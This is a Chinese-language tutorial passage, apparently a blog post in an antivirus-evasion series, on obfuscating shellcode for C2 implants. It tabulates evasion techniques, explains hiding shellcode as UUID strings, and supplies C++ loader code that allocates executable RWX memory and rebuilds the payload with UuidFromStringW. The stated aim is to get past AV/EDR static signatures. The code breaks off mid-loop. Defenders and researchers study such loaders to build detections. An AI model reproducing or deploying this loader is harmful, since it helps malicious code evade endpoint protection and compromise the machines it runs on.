针对 shellcode 混淆(Shellcode Obfuscation) 的实战手段还有很多,如下表所示:
类型 | 举例 | 目的 |
---|---|---|
编码 / 加密 | XOR、AES、RC4、Base64、Poly1305、UUID、IP/MAC | 改变字节特征,避开静态签名或 YARA |
结构伪装 | PE Stub、GIF/PNG 嵌入、RTF OLE、UUID、IP/MAC | 看起来像合法文件/数据,弱化“可执行”标签 |
控制流混淆 | 偏移、乱序、分段、跳转链、指令变异 | 破坏解码器/反汇编器的直线流 |
加密手段之前文章写过,详见:【免杀】C2免杀技术(三)shellcode加密 ,本文介绍一些其它方式。
UUID Obfuscation
“UUID Obfuscation” 是一种非常实用的 shellcode 混淆与免杀手段,利用 UUID(通用唯一识别码)的标准格式来编码恶意 shellcode,使其看起来像正常的标识符,从而绕过静态特征检测。
UUID(Universally Unique Identifier)是通用唯一标识符的缩写,标准格式如下:
xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
//例如:b36fa7a3-e8cf-4d99-9db0-9a9b9e3768e1
思路
1、伪装 shellcode:
把原始或加密的 shellcode 按照 16 字节一组切割,每组转换为一个 UUID 字符串(或多个 UUID 组合),看起来像合法数据,避免被 AV/EDR 静态特征识别。
2、还原 shellcode:
在运行时,用如 UuidFromStringA()
等 API 将 UUID 字符串反解为 16 字节的原始数据,重新组合形成完整 shellcode,然后执行。
加载器
#include <Windows.h>
#include <Rpc.h>
#pragma comment(lib, "Rpcrt4.lib")
constexpr BYTE XOR_KEY[] = { 'k','u','n' };
constexpr SIZE_T KEY_LEN = sizeof(XOR_KEY);
static const wchar_t UUID_BLOB[] = LR"(
//自己的payload
)";
int wmain()
{
// 1) 统计块数, 计算加密大小
SIZE_T uuidCount = 0;
for (const wchar_t* p = UUID_BLOB; *p; ++p)
if (*p == L'\n') ++uuidCount;
if (UUID_BLOB[0]) ++uuidCount;
const SIZE_T encSize = uuidCount * 16;
// 2) 申请 RWX 内存
BYTE* execMem = static_cast<BYTE*>(
VirtualAlloc(nullptr, encSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE));
if (!execMem) return -10;
// 3) 分割 blob, 调用 UuidFromStringW 写入
wchar_t* blobCopy = _wcsdup(UUID_BLOB); // 可写副本
if (!blobCopy) return -11;
SIZE_T offset = 0;
wchar_t* ctx = nullptr;
for (wchar_t* tok = wcstok(blobCopy, L"\n\r\t ", &ctx);
tok && *tok;
tok = wcstok(nullptr, L"\n\r\t ", &ctx))
{
UUID* dest = reinterpret_cast<UUID*>(execMem + offset);